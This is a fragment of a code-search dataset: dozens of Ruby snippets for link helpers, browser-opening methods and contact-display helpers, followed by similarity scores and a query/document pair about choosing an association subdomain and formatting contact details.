"def open()\n \n #note we would want to check for the browser being open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://store.mage.dev/admin\") #note this should be from setting file\n event(\"Post\")\n end",
"def layouts_show_links(*args)\n render \"layouts/show/links\", obj: args.shift, sender: args.shift, args: args \n end",
"def link_to_overlay_window(content, url, options={}, html_options={})\n default_options = {\n :size => \"100x100\",\n :resizable => false,\n :modal => true\n }\n options = default_options.merge(options)\n link_to_function(\n content,\n \"openOverlayWindow(\n \\'#{url}\\',\n \\'#{options[:title]}\\',\n \\'#{options[:size].split('x')[0]}\\',\n \\'#{options[:size].split('x')[1]}\\',\n \\'#{options[:resizable]}\\',\n \\'#{options[:modal]}\\',\n \\'#{options[:overflow]}\\'\n )\",\n html_options\n )\n end",
"def activate_window(title)\n append_to_script \"activate_window \\\"#{title}\\\"\"\n end",
"def link_self; end",
"def open_pu_management_page_1\n #request to open\n open(url_for(:controller => \"misc\", :action => \"adminmenu\"))\n\n #wait for loading page\n wait_for_page_to_load \"30000\"\n\n #Click to open PU link\n click $xpath[\"misc\"][\"PU_link\"]\n\n sleep 3\n end",
"def link uri\n self.apply_hyperlink java.net.URI.new(uri)\n end",
"def link_google_images(obj)\n link_to \"GglImg\", \"http://images.google.com/images?q=#{obj.name}\", :target => '_blank'\n end",
"def growl_onClicked(sender, context)\n\t\tdebug('hello')\n\t\tdom = ''\n\t\t#get link from context\n\t\t@mailboxes.each do |mbox|\n\t\t\tif (mbox[:name] == context.to_s)\n\t\t\t\tdom = mbox[:link]\n\t\t\tend\n\t\tend\n\t\tdebug(\"Found Link: #{dom} from context: #{context}\")\n\t\t\n\t\t@res = `open #{dom}`\n\t\texit_smoothly(context)\n\tend",
"def link_to(name, url, options = {}); end",
"def inline_textile_autolink_urls(text)\n text.gsub!(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $5\n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{b}#{c}</a>#{d})\n end\n end\n end",
"def open_tree(text)\n @browser.link(:title=>text).parent.ins.fire_event(\"onclick\")\n end",
"def linkify(url, text)\n if ENV['BUILDKITE']\n \"\\033]1339;url='#{url}';content='#{text}'\\a\"\n else\n \"#{text}: #{url}\"\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def open()\n \n #note we would want to check for the browser bing open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://local.general.dev/info.php\") #note this should be from setting file\n event(\"Post\")\n end",
"def click_link_with_popup_inside_frame(browser_handle, frame_prop, frame_prop_val, link_prop, link_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).link(link_prop.intern, /#{link_prop_val}/).click_no_wait\nend",
"def show_link(str)\n cfg = @@cfg\n str.gsub!(' ','-')\n str << '.md'\n show_doc(cfg, str)\n end"
] |
[
"0.73316765",
"0.62646824",
"0.62419754",
"0.61859185",
"0.6129746",
"0.6116993",
"0.6114377",
"0.6104605",
"0.6089998",
"0.60438794",
"0.60173136",
"0.60162044",
"0.6000066",
"0.6000066",
"0.5998933",
"0.5959792",
"0.5959693",
"0.59428495",
"0.5940938",
"0.59347",
"0.5864641",
"0.5862238",
"0.58448845",
"0.5819247",
"0.5815134",
"0.5797721",
"0.5761663",
"0.5736581",
"0.5722321",
"0.5721583",
"0.570102",
"0.56897026",
"0.56868523",
"0.5681742",
"0.56737804",
"0.5664524",
"0.56592304",
"0.5629657",
"0.5620905",
"0.5615913",
"0.5586659",
"0.5580693",
"0.55740964",
"0.55668676",
"0.5562432",
"0.5558898",
"0.55470294",
"0.55470294",
"0.5542715",
"0.5537995",
"0.5537995",
"0.5535356",
"0.5525374",
"0.55243534",
"0.552326",
"0.552326",
"0.5514716",
"0.5507476",
"0.5503859",
"0.5503498",
"0.5500197",
"0.5497654",
"0.54943496",
"0.5491098",
"0.548587",
"0.5482183",
"0.5480428",
"0.54774976",
"0.5473744",
"0.5450115",
"0.54490465",
"0.5447173",
"0.5443097",
"0.54419374",
"0.5435766",
"0.54323876",
"0.54314435",
"0.5430002",
"0.5428279",
"0.5418448",
"0.5416346",
"0.54028517",
"0.54025024",
"0.54015464",
"0.54005516",
"0.54004073",
"0.53982127",
"0.53807515",
"0.5377581",
"0.537262",
"0.53690773",
"0.5366652",
"0.5362646",
"0.53591347",
"0.5351079",
"0.53462327",
"0.5342933",
"0.53385377",
"0.5329611",
"0.5326216"
] |
0.8422221
|
0
|
Determines the subdomain that should be used when creating a CS link for the organization Checks to see if the email address passed belongs to an uninitialized association member
|
def subdomain_for(params)
organization = params[:organization]
email = params[:email]
organization = Organization.find_by_email(email) if email
if organization && organization.association then
organization.association.subdomain
else
''
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def email_domain\n self.organization.email_domain\n end",
"def email_domain\n if !self[:email].blank?\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.last}\" if 2 == split_host.size\n else\n self.organization.site_domain if self.organization\n end\n rescue URI::InvalidURIError\n nil\n end",
"def account_subdomain\n @account_subdomain ||= get_account_subdomain(request.host, AppConfig.host(request.host))\n end",
"def subdomain_is_unique\n if subdomain.present? && (League.all.count > 0)\n unless League.find_by_subdomain(subdomain).nil?\n errors.add(:subdomain, \"is already taken\")\n end\n if Apartment::Elevators::Subdomain.excluded_subdomains.include?(subdomain)\n errors.add(:subdomain, \"is not available\")\n end\n end\n end",
"def is_subdomain?(da, db)\n\n da == db ||\n db == '' ||\n da[0, db.length + 1] == db + '.'\n end",
"def subdomain name\n return unless nav.subdomain == name\n error.not_found 'Subdomain \"%s\" matched but nothing called' % name\n end",
"def has_subdomain?(subdomain)\n owned_subdomains.include?(subdomain)\n end",
"def _sub_domain\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_domain_ref)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_domain_literal)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_sub_domain unless _tmp\n return _tmp\n end",
"def by_subdomain?\n conditions[:required_defaults].include?(:localize_subdomain)\n end",
"def email_domain\n \tdomain = email.split('@').last\n \tif domain != \"ship.edu\"\n \t\terrors.add(:email, \"Must Use Your School Email (@ship.edu)\")\n \tend\n end",
"def subdomain\n self.name.gsub('_', '.')\n end",
"def email_has_fqdn(email)\n domain = email.split('@', 2)\n domain.last&.include?('.')\n end",
"def get_sub_domains(exclude_subdomains=\"\")\n #strip the link of current subdomains\n link = @item.links.where(:link_type_id => 3)\n if !link.blank?\n current_link = get_domain(link.first.link_url)\n #do a google search for link\n s = google_search(exclude_subdomains, current_link)\n #create an array of links from google search, group by url\n if s.estimated_count > 0 \n f = s.map { |x| \"http://\" + x.visible_uri }.uniq \n #strip each link to its subdomain\n subdomains = []\n f.each do |url|\n subdomains << get_subdomain(url)\n end\n end\n end\n if subdomains and subdomains != [\"\"]\n #add them to the subdomains list if they don't already exist\n #add them to the city if they don't already exist\n subdomains.each do |subdomain|\n if subdomain != \"\"\n sub = Subdomain.find_or_create_by_name(subdomain)\n OrganizationSubdomain.find_or_create_by_subdomain_id_and_organization_id(sub.id, @item.id)\n end\n end\n return true\n else\n return nil\n end\n end",
"def subdomain\n host.split(\".\").first\n end",
"def needs_subdomain?(options)\n options[:subdomainify].present? || # Presence.\n get_realm(options) != get_realm(options[:_recall]) # Realm transfer.\n end",
"def subdomain\n ENV['DESK_SUBDOMAIN']\n end",
"def default_account_subdomain\n\t\t'www'\n\tend",
"def ensure_the_url_has_a_subdomain\n if account_subdomain.blank?\n redirect_to public_home_page_url(true), :status => :moved_permanently\n end\n end",
"def create_email_no_domain\n self.email_no_domain = self.email.split('@').first if self.email.present? && self.email_no_domain.nil?\n return true\n end",
"def is_a_subdomain?\n subdomain?\n end",
"def get_domain_name_from_email_address(email)\nend",
"def subdomain\n ([self.short_name] + self.class.dalianshops.domain.split('.')[1..-1]).join('.')\n end",
"def validate_subdomain\n if current_account || request.host == \"localhost\"\n elsif current_account.nil?\n redirect_to '/404.html'\n end\n end",
"def owned_subdomains\n companies.map(&:subdomain) + advised_companies.map(&:subdomain)\n end",
"def check_subdomain?\n subdomain = request.subdomain\n if subdomain == 'www'\n redirect_to root_url(host: Rails.application.config.action_mailer.default_url_options[:host])\n elsif subdomain.blank? || Company.find_by(subdomain: subdomain).nil?\n flash[:alert] = 'Get Registered First'\n redirect_to root_url(host: Rails.application.config.action_mailer.default_url_options[:host])\n end\n end",
"def determine_default_account_subdomain\n Cadenero.default_account_subdomain = options[\"default-account-subdomain\"].presence ||\n ask(\"What will be the subdomain for the default account? [www]\").presence ||\n 'www'\n end",
"def is_a_domain?\n domain? && !subdomain?\n end",
"def determine_email\n return email[-7..-1] == \"uga.edu\" # this should be a constant\n end",
"def downcase_subdomain\n self.subdomain.downcase! if attribute_present?('subdomain')\n end",
"def sub_domain_known?(domain)\n\t\tputs \"Validate sub-domain: #{domain}\" if @verbose\n\t\tdomain=domain.strip.downcase\n\t\tsubs=dump_sub_domains\n\t\treturn subs.include?(domain)\n\trescue Exception => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def subdomain\n ([self.short_name] + self.class.admin_site.domain.split('.')[1..-1]).join('.')\n end",
"def get_account_subdomain(request_host, app_host)\n if request_host =~ /(.*?)\\.?#{app_host}$/ && !($1.empty? || $1 == 'www')\n $1\n elsif APP_CONFIG[:restricted_names].include?(request_host.split('.').last)\n request_host\n else\n nil\n end\n end",
"def validate_admin_subdomain\n #raise ActionController::RoutingError.new('Not Found') unless request.subdomains.first == 'manage'\n end",
"def match_parent_subdomain\n return unless self.parent\n self.subdomain = self.parent.subdomain\n end",
"def is_subdomain\n\n subdomains = request.subdomains\n subdomain = subdomains[0]\n\n if subdomain != nil\n return subdomain\n end\n\n return false\n end",
"def email_domain\n domain = email.split(\"@\").last.downcase\n if !email.blank?\n errors.add(:email, \"Invalid Domain- Please provide valid Grinnell email\") if domain != \"grinnell.edu\"\n end\n end",
"def canonical_tld?; end",
"def check_subdomain(subdomain, jid)\n comp = strip_domain(subdomain)\n return true if comp.domain == jid.domain\n local_jid?(jid) ? cross_domain?(comp, jid) : cross_domain?(comp)\n end",
"def valid_subdomain?(env)\n return true if Storehouse.subdomains.length == 0\n regex = /(^|\\.)(#{Storehouse.subdomains.join('|')})\\./\n !!(env['HTTP_HOST'] =~ regex)\n end",
"def domain\n @domain ||= PublicSuffix.parse(@fqdn).domain\n end",
"def recipient_domain\n self.rcpt_to ? self.rcpt_to.split('@').last : nil\n end",
"def recipient_domain\n self.rcpt_to ? self.rcpt_to.split('@').last : nil\n end",
"def guess_company_domain\n if self.company_domain.blank?\n string = self.company_name.to_s.downcase.gsub(' ', '') + \".fr\"\n self.company_domain = string\n end\n end",
"def return_email_domain \n return \"@\" + self.email.split('@')[1]\n end",
"def email_in_domain_suffixes\n return @email_in_domain_suffixes\n end",
"def retail_subdomain_uniqueness\n return if retail_subdomain.blank? || !retail_subdomain_changed?\n errors.add(:retail_subdomain, :taken) if given_subdomain_exists?(retail_subdomain)\n end",
"def subdomain\n #for debug at localhost\n return self.class.system_top_domain if self.class.system_top_domain == 'localhost'\n short_name + '.' + self.class.system_top_domain\n end",
"def auth_cn_with_tld?(common_name)\n /\\w{2}\\.\\w+(\\.\\w{3,}+)?/.match(common_name).nil? ? false : true\n end",
"def check_subdomains(to, from)\n sub1, sub2 = strip_domain(to), strip_domain(from)\n (sub1 == sub2) || cross_domain?(sub1, sub2)\n end",
"def split_email_domain\n return self.email.split('@')[1]\n end",
"def to_sub_domain\n return nil unless to_host\n\n dot_domain = \".#{to_domain}\"\n return nil unless include?(dot_domain)\n\n sub_domain = to_host.sub(dot_domain, '')\n Wgit::Url.new(sub_domain)\n end",
"def domain_info\n @domain = normalized_email.split('@').last\n domain\n end",
"def pointed_to_github_user_domain?\n dns.first.class == Net::DNS::RR::CNAME && pages_domain?(dns.first.cname.to_s) if dns?\n end",
"def absolute_domain\n domain.end_with?(\".\") ? domain : \"#{domain}.\"\n end",
"def subdomain(tld_length = T.unsafe(nil)); end",
"def email_domain(emails)\n domains = self.config[:domain]\n unless domains.empty?\n domains.each do |domain|\n matches = emails.select { |email| email.end_with?(domain) }\n return matches[0] unless matches.empty?\n end\n end\n nil\n end",
"def valid_domain?\n PublicSuffix.valid? domain\n end",
"def subdomain\n get()[\"app\"][\"subdomain\"]\n end",
"def email_domain\n user.email_domain\n end",
"def domain_of(email)\n\t\tdomain = email.match /[^@]+\\z/\n\t\tdomain[0] if domain\n\tend",
"def domain\n email.split(\"@\")[1]\n end",
"def translation_domain?\n @tenant.try(:subdomain) == Rails.configuration.translations_subdomain\n end",
"def domain\n return @domain if defined? @domain\n\n @domain = begin\n PublicSuffix.parse(normalized_domain, default_rule: nil)\n rescue PublicSuffix::DomainInvalid, PublicSuffix::DomainNotAllowed\n nil\n end\n end",
"def nyu_edu\n @domain = self.email.split('@')[1]\n errors.add(:base, 'For now we only support New York University') unless @domain == 'nyu.edu'\n end",
"def reserved_subdomains\n @reserved_subdomains ||= %w(www staging review) + ENV['RESERVED_SUBDOMAINS'].to_s.split(' ')\n end",
"def validates_subdomain_format_of(attr_name, options = {})\n validates_format_of attr_name, { :with => SUBDOMAIN_REGEX }.merge(options)\n end",
"def set_subdomain\n if user_signed_in? && current_university == nil\n redirect_to subdomain: current_user.current_university.codename\n end\n end",
"def test_subdomain(rr, subdomain)\n ret = false\n rr_name = rr\n if (rr.class != Dnsruby::Name)\n rr_name = rr.name\n end\n rr_name = lose_n_labels(rr_name, @soa.name.labels.length)\n\n if (subdomain && rr_name)\n ret = (rr_name.labels()[rr_name.labels.length() - 1] == subdomain)\n else\n ret = (rr.name == @soa.name)\n end\n return ret\n end",
"def domain\n unless @domain\n if defined? ActiveSupport::CoreExtensions::String::Inflections\n @domain = name.tableize\n else\n @domain = name.downcase\n end\n end\n @domain\n end",
"def generate_subdomain\n slug = self.name.gsub(/\\W/, \"-\").gsub(/\\-{2,}/, \"-\").sub(/^\\-/, \"\").sub(/\\-$/, \"\").downcase\n count = self.class.where(domain: slug).count\n\n while count > 0\n slug = \"#{slug}-#{count + 1}\"\n count = self.class.where(domain: slug).count\n end\n\n self.domain = slug\n end",
"def domain\n return nil if @domain.empty?\n @domain\n end",
"def apex_domain?\n return @apex_domain if defined?(@apex_domain)\n\n answers = Resolv::DNS.open { |dns|\n dns.getresources(absolute_domain, Resolv::DNS::Resource::IN::NS)\n }\n\n @apex_domain = answers.any?\n end",
"def request_subdomain\n request.host.split(/\\./).first\n end",
"def subdomain\n env[\"SERVER_NAME\"].match(/(.+)\\.#{::Service.this.domain}/)\n $1\n rescue Vidibus::Service::ConfigurationError\n unless env['PATH_INFO'] == '/connector'\n raise(ServiceError, 'This service has not been configured yet')\n end\n end",
"def potential_subdomains\n\t\tif self.id.nil?\n\t\t\tPlace.all.includes(:form)\n\t\telse\n\t\t\t# fictional places cannot contain real places\n\t\t\tdomains = [self.id] + self.domains.pluck(:id)\n\t\t\tsubdomains = self.fictional? ? Place.fictitious.not_among(domains).includes(:form) : Place.not_among(domains).includes(:form)\n\t\tend\n\tend",
"def current_subdomain\n if request.subdomains.first\n Client.find_by_webname(request.subdomains.first).id if Client.find_by_webname(request.subdomains.first)\n end\n end",
"def subdomains(tld_length = 1) \n parts = host.split('.')\n parts[0..-(tld_length+2)]\n end",
"def set_subdomain\n self.subdomain = self.name\n self.save!\n end",
"def valid?\n PublicSuffix.valid?(domain)\n end",
"def domain(emails)\n config[:domain].each do |domain|\n matches = emails.select { |email| email.end_with?(domain) }\n return matches[0] unless matches.empty?\n end\n nil\n end",
"def subdomain?(*jids)\n !jids.flatten.index do |jid|\n !component?(jid) && !pubsub?(jid)\n end\n end",
"def get_domain_name_from_email_address(email)\n med = email[/[@].*[.]/]\n domain = med[1..-2]\nend",
"def domain\n try_opt(:domain)\n end",
"def validate_email(email)\n domain = email.split('@').last\n return unless sign_up_params[:email].end_with?('.ac.uk')\n return unless Institution.exists?(['email ILIKE ?', \"%#{domain}%\"])\n true\n end",
"def subdomain_available?(subdomain)\n begin\n return put :subdomain_available?, {:subdomain => subdomain}\n rescue RestClient::UnprocessableEntity\n return false\n end\n end",
"def extract_locale_from_subdomain\n parsed_locale = request.subdomains.first\n I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil\nend",
"def normalized_domain\n if @text.empty?\n nil\n elsif parsed_domain\n parsed_domain.host\n end\n end",
"def has_country_site(subdomain)\n\n country_sites = Rails.application.config.country_sites\n\n if country_sites.include?(subdomain.downcase)\n return true\n end\n\n return false\n end",
"def domains; end",
"def primary_sub_domain_base\n @attributes[:primary_sub_domain_base]\n end",
"def subdomains(tld_length = T.unsafe(nil)); end",
"def signup_domain\n 'signup.' + base_domain\n end",
"def subdomains(query)\n get('enrichment/subdomains', {'query' => query})\n end",
"def build_domain \n unless self.domain\n self.domain = URI.parse(self.url).host \n self.save\n end\n end",
"def set_ensembl_subdomain\n @ensembl_subdomain = EnsemblSubdomain.find(params[:id])\n end",
"def subdomain=(val)\n write_attribute(:subdomain, val.downcase.split(\" \").join)\n end",
"def full_domain(options= {})\n # assume that if port is used in domain config, it should\n # be added to the end of the full domain for links to work\n # This concerns usually mostly testing and development\n default_host, default_port = APP_CONFIG.domain.split(':')\n port_string = options[:port] || default_port\n if options[:testmode] == true \n default_host = 'taxi-hawk.com'\n else \n default_host = 'yelo.red' \n end \n if domain.present? && use_domain? # custom domain\n dom = domain\n else # just a subdomain specified\n dom = \"#{self.ident}.#{default_host}\"\n dom += \":#{port_string}\" unless port_string.blank?\n end\n\n if options[:with_protocol] \n #dom = \"#{(APP_CONFIG.always_use_ssl.to_s == \"true\" ? \"https://\" : \"http://\")}#{dom}\"\n dom = \"#{\"https://\"}#{dom}\"\n end\n\n if options[:admin]\n\n dom = \"#{dom}/en/admin/getting_started_guide\"\n puts \" the domain link will be : \"\n\n end\n\n return dom\n\n end",
"def subdomain_of?(other)\n raise ArgumentError, \"not a domain name: #{other.inspect}\" unless Name === other\n return false if @absolute != other.absolute?\n other_len = other.length\n return false if @labels.length <= other_len\n return @labels[-other_len, other_len] == other.to_a\n end",
"def get_domain\n @domain\n end",
"def domain_name(subdomain: T.unsafe(nil), domain: T.unsafe(nil)); end"
] |
[
"0.6958954",
"0.69572556",
"0.6837677",
"0.6816106",
"0.68153965",
"0.679085",
"0.6783052",
"0.6714236",
"0.6680976",
"0.66498625",
"0.6596912",
"0.6593131",
"0.6574284",
"0.65547556",
"0.6538046",
"0.6523232",
"0.65048563",
"0.6483532",
"0.64826614",
"0.64585835",
"0.64458966",
"0.6441957",
"0.6420944",
"0.6417031",
"0.6398362",
"0.63821346",
"0.63754785",
"0.63697755",
"0.63685435",
"0.6362892",
"0.62892634",
"0.6273353",
"0.6269011",
"0.62686116",
"0.6262148",
"0.62548",
"0.62512696",
"0.62441456",
"0.6238354",
"0.62294126",
"0.6225572",
"0.6225572",
"0.6215989",
"0.62094164",
"0.61933535",
"0.61780477",
"0.61659616",
"0.6156288",
"0.6151533",
"0.6142593",
"0.6132658",
"0.61310446",
"0.6129846",
"0.61265457",
"0.6113778",
"0.61134976",
"0.61081296",
"0.6107338",
"0.61009026",
"0.6097503",
"0.6094104",
"0.60895896",
"0.60690016",
"0.60609925",
"0.6050541",
"0.60398674",
"0.6021559",
"0.6019585",
"0.6019023",
"0.6009217",
"0.5990722",
"0.59829783",
"0.5959438",
"0.5957713",
"0.5952423",
"0.5935615",
"0.5929335",
"0.5920734",
"0.5918907",
"0.59179926",
"0.5901678",
"0.5901096",
"0.58980817",
"0.58896255",
"0.58835185",
"0.5877619",
"0.58522373",
"0.5848309",
"0.5846794",
"0.58319193",
"0.5830403",
"0.58299667",
"0.58233386",
"0.5821415",
"0.5819149",
"0.5815913",
"0.5811528",
"0.5807843",
"0.5797817",
"0.57964706"
] |
0.7887933
|
0
|
determines how to display the association contact information based on what fields are available
|
def association_contact_information
contact = "<a href='mailto: #{current_association.contact_email}'>#{current_association.contact_name.blank? ? current_association.name : current_association.contact_name}</a>"
contact += " at #{current_association.formatted_contact_phone}" unless current_association.contact_phone.blank?
contact += " ext. #{current_association.contact_phone_extension}" unless current_association.contact_phone_extension.blank?
return contact
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def display_contacts\n\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods to keep your code DRY\n end",
"def display_contacts\n\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods to keep your code DRY\n end",
"def display_contacts\n # Fill this in\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods\n Contact.all.each do |contacts|\n puts \":#{contacts.full_name}, #{contacts.email}, #{contacts.id}, #{contacts.note}\"\n end\n end",
"def display_contacts\n Contact.each do |contacts|\n print \"First name: #{contacts.first_name}, Last name: #{contacts.last_name}, Email address: #{contacts.email}, Notes: #{contacts.note}\"\n end\n\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods to keep your code DRY\n end",
"def contact_details_for(contact)\n if contact.title.present? && contact.department.present?\n return contact_title_and_department_for(contact)\n end\n return contact_title_for(contact) if contact.title.present?\n return contact_department_for(contact) if contact.department.present?\n end",
"def display_particular_contact(option, keyword)\n @contacts.each do |contact|\n if option == 1\n contact.contact_display if keyword == contact.id\n elsif option == 2\n contact.contact_display if keyword == contact.firstname\n elsif option == 3\n contact.contact_display if keyword == contact.lastname\n elsif option == 4\n contact.contact_display if keyword == contact.email\n elsif option == 5\n contact.contact_display if keyword == contact.notes\n end\n end\n end",
"def populatecontactfields\n @contact = Contact.new\n @contact_stage = get_contact_stages(@company.contact_stages.array_to_hash('lvalue'),['Client'])\n @lead_status = false\n render :partial=>'common/newcontact', :object=>@contact\n end",
"def display_one_contact\n contact = retrieve_contact_by_email\n end",
"def brief_account_info(contact)\n text = \"\"\n title = contact.title\n department = contact.department\n account = contact.account\n account_text = \"\"\n account_text = link_to_if(can?(:read, account), h(account.name), account_path(account)) if account.present?\n\n text += if title.present? && department.present?\n t(:account_with_title_department, title: h(title), department: h(department), account: account_text)\n elsif title.present?\n t(:account_with_title, title: h(title), account: account_text)\n elsif department.present?\n t(:account_with_title, title: h(department), account: account_text)\n elsif account_text.present?\n t(:works_at, job_title: \"\", company: account_text)\n else\n \"\"\n end\n text.html_safe\n end",
"def display_one_contact(contact)\n if contact\n puts \"Name: #{contact.name}\"\n puts \"E-mail: #{contact.email}\"\n puts \"Phone Number: #{contact.phone_number}\"\n else\n puts \"Not found!\"\n end\n end",
"def contact_title_and_department_for(contact)\n contact_title_for(contact) + ', ' + contact_department_for(contact)\n end",
"def display_particular_contact(id)\n if person = Contact.find_by(id: id)\n {status: true, contact: person.display}\n else\n {status: false, error: \"\\nContact not found.\"}\n end\n end",
"def display_particular_contact(contact_display)\n\t\t\t@database_array.each do |x|\n\t\t\t\tif contact_display == x.id || contact_display == x.first_name ||\n\t\t\t\t\tcontact_display == x.last_name || contact_display == x.email\n\t\t\t\t\t\tx.display_contacts\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend\n\tend",
"def display_contacts(contacts)\n\n contacts.each do |display|\n puts \"First name: #{display.first_name} Last name: #{display.last_name} Email: #{display.email} Note: #{display.note}\"\n end\n end",
"def show\n puts \"number 1 org\"\n @organization = Organization.find(params[:id])\n #what is saved in @organization?\n # @organization.name = 'KCW'\n # @organization.address.....\n @contacts = Contact.all.select { |contact| contact.organization == @organization.name }\n @contacts.each do |contact|\n puts contact.name\n end\n end",
"def show ( contact )\n puts \"#{contact[:name]}\"\n puts \"phone: #{contact[:phone]}\"\n puts \"email: #{contact[:email]}\"\n puts\nend",
"def contact_info\n [phone_number, email].compact.map { |e| exhibit(e, @context) }.join('<br />').html_safe\n end",
"def display_resource(contact_information)\n primary_phone = \"<b>Primary Phone:</b> #{contact_information.primary_phone}\".html_safe\n mobile_phone = \"<b>Mobile Phone:</b> #{contact_information.primary_mobile}\".html_safe\n\n if contact_information.primary_phone.present? && contact_information.primary_mobile.present?\n primary_phone + ' | ' + mobile_phone\n elsif contact_information.primary_phone.present?\n primary_phone\n else\n 'N/A'\n end\n end",
"def show_contact_details?\n my_record? || add_contact_details? || super_admin?\n end",
"def contact_info(object, attr)\n if %w(phone fax).include?(attr)\n content_tag :span, phone_number(object.__send__(attr))\n elsif %w(email website).include?(attr)\n auto_link(object.__send__(attr).to_s).html_safe\n else\n object.__send__(attr).to_s\n end\n end",
"def display_contacts\n\t\tputs \"\\e[H\\e[2J\"\n\t\tputs \"All Contacts:\"\t\t\t# step 2 in the main menu\n\t\t@rolodex.display_contacts\t#nn def in class Rolodex n Contacts\n\t\tputs \"\\n\"\t \t\t\t\t#adds a break/blank line\n\tend",
"def populatecontactfields\n #This code is for solving the Edit accounts crash - 14-06-2010\n @account= (params[:account_id].present?? Account.find(params[:account_id]) : Account.new()) \n @contact = Contact.new()\n @contact_stage=@company.contact_stages\n @lead_status=true\n render :partial=>'/common/newcontact',:object=>@contact\n end",
"def contact_info(contact)\n super # placeholder so that I can add some doc\n end",
"def contact_details\n puts \"Contact name: #{self.contact_name}\"\n puts \"Phone number: #{self.phone}\"\n puts \"Email: #{self.email}\"\n end",
"def display_contact\r\n\t\tputs \"ID: #{@id}\"\r\n\t\tputs \"First Name: #{@firstname}\" \r\n\t\tputs \"Last Name: #{@lastname}\"\r\n\t\tputs \"Email Address: #{@email}\"\r\n\t\tputs \"Notes on User: #{@notes}\" \r\n\tend",
"def new\n @contactinfo = Contactinfo.new\n # set the people_id and the type_ident for the hidden fields on the form\n @contactinfo.people_id = params[:id] \n @contactinfo.type_ident = 'Address'\n # get all the contact types for addresses to display in the select box on the form\n @contact_type = Contacttype.logged_in_user(current_user.id).where(:type_ident => ['Phone', 'Email']).all\n \n # data dump to the logger\n logger.debug \"address_type array:\"\n @contact_type.each {|ctype| logger.debug \"#{ctype.type_ident}, #{ctype.type_name}\" }\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @contactinfo }\n end\n end",
"def show\n @emails = @contact.emails\n @addresses = @contact.addresses\n @phone_numbers = @contact.phone_numbers\n @website_urls = @contact.website_urls\n @contact_skills = @contact.contact_skills\n @projects = Project.where(:team_contact_id => @contact.id).order('project_number DESC')\n @agency_projects = Project.where(:agency_team_contact_id => @contact.id).order('project_number DESC')\n end",
"def contact_info\n contact_info_arr = []\n contact_info_arr << (mobile.present? ? \"#{mobile} (M) \" : nil)\n contact_info_arr << (telephone.present? ? \"#{telephone} (T)\" : nil)\n contact_info_arr << email\n contact_info_arr.compact.join(\"<br/>\")\n end",
"def show\n @company = set_company\n begin\n @identifiers = @company.identifiers\n rescue\n flash[:error] = 'No identifiers found.'\n end \n begin\n @address = Address.where(\"addressable_id = ? AND addressable_type = ?\", @company.id, 'Company').limit(1)\n rescue\n flash[:error] = \"No address found.\"\n end\n begin\n @people = @company.people\n rescue\n flash[:error] = \"No people are affiliated.\"\n end\n end",
"def contactinfo\n @id = nil\n # TODO similar processing for organisation session variable\n @person = get_person_from_session\n if !@person.blank?\n # find all person's contact infos\n @person_contactinfos = PersonContactinfo.find(:all, :conditions => ['person_id =?', @person.person_id])\n if @person_contactinfos.empty?\n redirect_to :action => 'new'\n else\n for contactinfo in @person_contactinfos\n if contactinfo.preferred == true\n @id = contactinfo.contactinfo_id\n else \n if contactinfo.preferred == false && @id == nil\n @id = contactinfo.contactinfo_id\n end\n end\n end\n redirect_to :action => 'edit', :id => @id\n end\n end\n end",
"def display_by_attribute\n\t\tputs \"Please enter desired attribute to be displayed: \"\n\t\tputs \"[1] First name\"\n\t\tputs \"[2] Last name\"\n\t\tputs \"[3] Email\"\n\t\tputs \"[4] Note\"\n\t\tputs \"[5] ID\" \n\t\tattribute = gets.chomp.to_i\n\t\tcase attribute\n\t\twhen 1\n\t\t\t@rolodex.contacts.each do |contact|\n\t\t\t\tputs \"#{contact.first_name}\"\n\t\t\tend\n\t\twhen 2\n\t\t\t@rolodex.contacts.each do |contact|\n\t\t\t\tputs \"#{contact.last_name}\"\n\t\t\tend\n\t\twhen 3\n\t\t\t@rolodex.contacts.each do |contact|\n\t\t\t\tputs \"#{contact.email}\"\n\t\t\tend\n\t\twhen 4\n\t\t\t@rolodex.contacts.each do |contact|\n\t\t\t\tputs \"#{contact.note}\"\n\t\t\tend\n\t\twhen 5\n\t\t\t@rolodex.contacts.each do |contact|\n\t\t\t\tputs \"#{contact.id}\"\n\t\t\tend\n\t\tend\n\tend",
"def show_contact(id)\r\n contacts_in_array = load_contacts\r\n contacts = {}\r\n contacts_in_array.each do |contact|\r\n id_from_array = contact.shift\r\n data_from_array = contact\r\n contacts[id_from_array] = data_from_array\r\n end\r\n if contacts[id.to_s] != nil \r\n puts contacts[id.to_s]\r\n else\r\n puts \"not found\"\r\n end\r\n end",
"def show_address_fields(user, company)\n\n all_fields = [ { name: 'street_address', label: 'street', method: nil },\n { name: 'post_code', label: 'post_code', method: nil },\n { name: 'city', label: 'city', method: nil },\n { name: 'kommun', label: 'kommun', method: 'name' },\n { name: 'region', label: 'region', method: 'name' } ]\n\n if user.admin? || user.is_in_company_numbered?(company.company_number)\n return all_fields, true\n else\n start_index = all_fields.find_index do |field|\n field[:name] == company.address_visibility\n end\n\n if start_index\n return all_fields[start_index..4], false\n else\n return nil, false\n end\n end\n end",
